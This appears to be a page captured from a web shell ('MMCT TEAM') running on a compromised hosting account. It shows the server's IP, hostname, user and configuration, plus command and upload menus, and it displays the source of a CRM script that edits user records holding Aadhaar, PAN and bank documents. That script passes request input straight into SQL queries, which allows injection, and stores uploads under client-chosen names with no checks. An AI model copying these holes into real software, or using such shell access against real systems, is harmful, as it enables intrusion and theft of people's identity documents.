MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/crm/action/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/crm/action/user_edit.php
<?php
session_start();
include '../include/config.php';


extract($_POST);

// print_r($_POST);

$id = $_GET['id'];

$sql = "select * from tbl_user where id='$id'";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
$sql_row = mysqli_fetch_assoc($sql_res);
 $fe_img = $sql_row['aadhar_front'];
 $fe_img1 = $sql_row['aadhar_back'];
 $fe_img2 = $sql_row['pan'];
 $fe_img3 = $sql_row['bank_details'];
 $fe_img4 = $sql_row['other_doc'];

													  $dr_photo =  $_FILES['do_photo']['name'];
						                                             $fmgg = $fe_img;

                                                  if(strlen($_FILES['do_photo']['name']) != 0) {

                                                   
                                                    $newThumb = $_FILES['do_photo']['name'];
                                                    $thumbPath = "../user/" . $newThumb;
                                                    move_uploaded_file($_FILES['do_photo']['tmp_name'], $thumbPath);
                                                   	
                                                    $fmgg = $newThumb;

                                                     unlink("../user/" . $fe_img);
                                                  }

                                                  $dr_photo =  $_FILES['do_photo1']['name'];
						                                             $fmgg1 = $fe_img1;

                                                  if(strlen($_FILES['do_photo1']['name']) != 0) {

                                                   
                                                    $newThumb = $_FILES['do_photo1']['name'];
                                                    $thumbPath = "../user/" . $newThumb;
                                                    move_uploaded_file($_FILES['do_photo1']['tmp_name'], $thumbPath);
                                                   	
                                                    $fmgg1 = $newThumb;

                                                     unlink("../user/" . $fe_img1);
                                                  }

                                                  $dr_photo =  $_FILES['do_photo2']['name'];
						                                             $fmgg2 = $fe_img2;

                                                  if(strlen($_FILES['do_photo2']['name']) != 0) {

                                                   
                                                    $newThumb = $_FILES['do_photo2']['name'];
                                                    $thumbPath = "../user/" . $newThumb;
                                                    move_uploaded_file($_FILES['do_photo2']['tmp_name'], $thumbPath);
                                                   	
                                                    $fmgg2 = $newThumb;

                                                     unlink("../user/" . $fe_img2);
                                                  }
                                                  $dr_photo =  $_FILES['do_photo3']['name'];
                                                         $fmgg3 = $fe_img3;

                                                  if(strlen($_FILES['do_photo3']['name']) != 0) {

                                                   
                                                    $newThumb = $_FILES['do_photo3']['name'];
                                                    $thumbPath = "../user/" . $newThumb;
                                                    move_uploaded_file($_FILES['do_photo3']['tmp_name'], $thumbPath);
                                                    
                                                    $fmgg3 = $newThumb;

                                                     unlink("../user/" . $fe_img3);
                                                  }

                                                  $dr_photo =  $_FILES['do_photo4']['name'];
                                                         $fmgg4 = $fe_img4;

                                                  if(strlen($_FILES['do_photo4']['name']) != 0) {

                                                   
                                                    $newThumb = $_FILES['do_photo4']['name'];
                                                    $thumbPath = "../user/" . $newThumb;
                                                    move_uploaded_file($_FILES['do_photo4']['tmp_name'], $thumbPath);
                                                    
                                                    $fmgg4 = $newThumb;

                                                     unlink("../user/" . $fe_img4);
                                                  }

if($contry == '101')
    {
       $state1 = $state;
        $city1 = $city;
    }
    else
    {
        $state1 = '';
        $city1 = '';
    }

 $sql = "update tbl_user set prefix='$prefix',fname='$fname',lname='$lname',email='$email',con_no='$con_no',dob='$dob',gender='$gender',pre_add='$pre_add',  parm_add='$parm_add',m_status='$m_status',i_amt='$i_amt',subbroker='$subbroker',country='$contry',state='$state1',city='$city1',religion='$religion',aadhar_front='$fmgg',aadhar_back='$fmgg1',pan='$fmgg2',bank_details='$fmgg3',other_doc='$fmgg4' where id=$id";

$result = mysqli_query($con, $sql) or die(mysqli_error($con));

//  header('location: ../logo_list.php');
 if($result>0)
							{
								echo "<script>
								 alert('Data Edit Succesfully');
								window.location.href='../user_list.php';
								</script>";
							}
							else
							{
								echo "<script>alert('please add proper data');</script>";
							}

// header('location: ../logo_list.php');
?>


MMCT - 2023